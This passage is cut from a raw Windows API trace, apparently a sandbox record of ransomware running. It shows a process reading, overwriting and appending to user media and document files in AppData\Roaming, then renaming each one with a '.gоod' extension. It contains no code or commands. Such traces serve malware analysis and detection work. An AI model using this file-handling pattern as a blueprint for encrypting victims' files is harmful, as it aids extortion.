lpOldMode=0x204ee100) returned 1 [0213.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0213.510] GetFileType (hFile=0x858) returned 0x1 [0213.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0213.510] GetFileType (hFile=0x858) returned 0x1 [0213.510] WriteFile (in: hFile=0x858, lpBuffer=0x3433060*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3433060*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0213.510] CloseHandle (hObject=0x858) returned 1 [0213.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi", lpFilePart=0x0) returned 0x33 [0213.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi.gоod", lpFilePart=0x0) returned 0x38 [0213.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0213.511] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa710a6e0, ftCreationTime.dwHighDateTime=0x1d4cf1b, ftLastAccessTime.dwLowDateTime=0xaee577d0, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0x7b79c50f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x67c3)) returned 1 [0213.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0213.511] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\mmwjLwg yPX8lDl.avi.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mmwjlwg ypx8ldl.avi.gоod")) returned 1 [0213.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", lpFilePart=0x0) returned 0x2f [0213.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0213.512] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a"), fInfoLevelId=0x0, lpFileInformation=0x357cf98 | out: lpFileInformation=0x357cf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f63c20, ftCreationTime.dwHighDateTime=0x1d4c758, ftLastAccessTime.dwLowDateTime=0x6d5ba820, ftLastAccessTime.dwHighDateTime=0x1d4cc8f, ftLastWriteTime.dwLowDateTime=0x6d5ba820, ftLastWriteTime.dwHighDateTime=0x1d4cc8f, nFileSizeHigh=0x0, nFileSizeLow=0x7386)) returned 1 [0213.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0213.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", lpFilePart=0x0) returned 0x2f [0213.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0213.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0213.512] GetFileType (hFile=0x858) returned 0x1 [0213.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0213.512] GetFileType (hFile=0x858) returned 0x1 [0213.512] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0213.512] ReadFile (in: hFile=0x858, lpBuffer=0x357d350, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x357d350*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0213.513] CloseHandle (hObject=0x858) returned 1 [0213.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", lpFilePart=0x0) returned 0x2f [0213.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0213.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0213.513] GetFileType (hFile=0x858) returned 0x1 [0213.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0213.513] GetFileType (hFile=0x858) returned 0x1 [0213.513] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x7386 [0213.514] WriteFile (in: hFile=0x858, lpBuffer=0x357e5b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x357e5b8*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0213.514] CloseHandle (hObject=0x858) returned 1 [0213.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", lpFilePart=0x0) returned 0x2f [0213.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0213.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0213.514] GetFileType (hFile=0x858) returned 0x1 [0213.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0213.514] GetFileType (hFile=0x858) returned 0x1 [0213.514] ReadFile (in: hFile=0x858, lpBuffer=0x3580848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3580848*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0216.740] CloseHandle (hObject=0x858) returned 1 [0216.740] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", lpFilePart=0x0) returned 0x2f [0216.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0216.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0216.740] GetFileType (hFile=0x858) returned 0x1 [0216.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0216.740] GetFileType (hFile=0x858) returned 0x1 [0216.740] WriteFile (in: hFile=0x858, lpBuffer=0x343b830*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x343b830*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0216.743] CloseHandle (hObject=0x858) returned 1 [0216.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a", lpFilePart=0x0) returned 0x2f [0216.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a.gоod", lpFilePart=0x0) returned 0x34 [0216.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0216.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f63c20, ftCreationTime.dwHighDateTime=0x1d4c758, ftLastAccessTime.dwLowDateTime=0x6d5ba820, ftLastAccessTime.dwHighDateTime=0x1d4cc8f, ftLastWriteTime.dwLowDateTime=0x7d67bdcc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7396)) returned 1 [0216.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0216.744] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\NmQ74zwIyJC.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\nmq74zwiyjc.m4a.gоod")) returned 1 [0216.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", lpFilePart=0x0) returned 0x33 [0216.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0216.745] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav"), fInfoLevelId=0x0, lpFileInformation=0x35e67a0 | out: lpFileInformation=0x35e67a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc192830, ftCreationTime.dwHighDateTime=0x1d4ccff, ftLastAccessTime.dwLowDateTime=0x29b4d3d0, ftLastAccessTime.dwHighDateTime=0x1d4cd3e, ftLastWriteTime.dwLowDateTime=0x29b4d3d0, ftLastWriteTime.dwHighDateTime=0x1d4cd3e, nFileSizeHigh=0x0, nFileSizeLow=0x24d0)) returned 1 [0216.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0216.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", lpFilePart=0x0) returned 0x33 [0216.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0216.745] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0216.745] GetFileType (hFile=0x858) returned 0x1 [0216.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0216.745] GetFileType (hFile=0x858) returned 0x1 [0216.746] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0216.746] ReadFile (in: hFile=0x858, lpBuffer=0x35e6b78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x35e6b78*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0216.746] CloseHandle (hObject=0x858) returned 1 [0216.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", lpFilePart=0x0) returned 0x33 [0216.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0216.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0216.747] GetFileType (hFile=0x858) returned 0x1 [0216.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0216.747] GetFileType (hFile=0x858) returned 0x1 [0216.747] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x24d0 [0216.747] WriteFile (in: hFile=0x858, lpBuffer=0x35e7df0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x35e7df0*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0216.747] CloseHandle (hObject=0x858) returned 1 [0216.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", lpFilePart=0x0) returned 0x33 [0216.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0216.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0216.747] GetFileType (hFile=0x858) returned 0x1 [0216.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0216.747] GetFileType (hFile=0x858) returned 0x1 [0216.747] ReadFile (in: hFile=0x858, lpBuffer=0x35ea090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x35ea090*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0217.439] CloseHandle (hObject=0x858) returned 1 [0217.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", lpFilePart=0x0) returned 0x33 [0217.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.440] GetFileType (hFile=0x858) returned 0x1 [0217.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0217.440] GetFileType (hFile=0x858) returned 0x1 [0217.440] WriteFile (in: hFile=0x858, lpBuffer=0x3560190*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3560190*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0217.440] CloseHandle (hObject=0x858) returned 1 [0217.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav", lpFilePart=0x0) returned 0x33 [0217.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav.gоod", lpFilePart=0x0) returned 0x38 [0217.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0217.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc192830, ftCreationTime.dwHighDateTime=0x1d4ccff, ftLastAccessTime.dwLowDateTime=0x29b4d3d0, ftLastAccessTime.dwHighDateTime=0x1d4cd3e, ftLastWriteTime.dwLowDateTime=0x7dd0a4e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24e0)) returned 1 [0217.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0217.440] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OGekF3XDNNGCZdu.wav.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ogekf3xdnngczdu.wav.gоod")) returned 1 [0217.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", lpFilePart=0x0) returned 0x35 [0217.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0217.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc"), fInfoLevelId=0x0, lpFileInformation=0x3661898 | out: lpFileInformation=0x3661898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f82f00, ftCreationTime.dwHighDateTime=0x1d4c7bd, ftLastAccessTime.dwLowDateTime=0xd90f4eb0, ftLastAccessTime.dwHighDateTime=0x1d4c88d, ftLastWriteTime.dwLowDateTime=0xd90f4eb0, ftLastWriteTime.dwHighDateTime=0x1d4c88d, nFileSizeHigh=0x0, nFileSizeLow=0x29e4)) returned 1 [0217.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0217.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", lpFilePart=0x0) returned 0x35 [0217.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.441] GetFileType (hFile=0x858) returned 0x1 [0217.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0217.442] GetFileType (hFile=0x858) returned 0x1 [0217.442] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0217.442] ReadFile (in: hFile=0x858, lpBuffer=0x3661c90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3661c90*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0217.442] CloseHandle (hObject=0x858) returned 1 [0217.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", lpFilePart=0x0) returned 0x35 [0217.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.443] GetFileType (hFile=0x858) returned 0x1 [0217.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0217.443] GetFileType (hFile=0x858) returned 0x1 [0217.443] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x29e4 [0217.443] WriteFile (in: hFile=0x858, lpBuffer=0x3662f18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3662f18*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0217.443] CloseHandle (hObject=0x858) returned 1 [0217.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", lpFilePart=0x0) returned 0x35 [0217.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.443] GetFileType (hFile=0x858) returned 0x1 [0217.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0217.443] GetFileType (hFile=0x858) returned 0x1 [0217.443] ReadFile (in: hFile=0x858, lpBuffer=0x36651c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x36651c8*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0217.471] CloseHandle (hObject=0x858) returned 1 [0217.471] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", lpFilePart=0x0) returned 0x35 [0217.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.471] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.471] GetFileType (hFile=0x858) returned 0x1 [0217.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0217.471] GetFileType (hFile=0x858) returned 0x1 [0217.471] WriteFile (in: hFile=0x858, lpBuffer=0x3663f30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3663f30*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0217.471] CloseHandle (hObject=0x858) returned 1 [0217.471] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc", 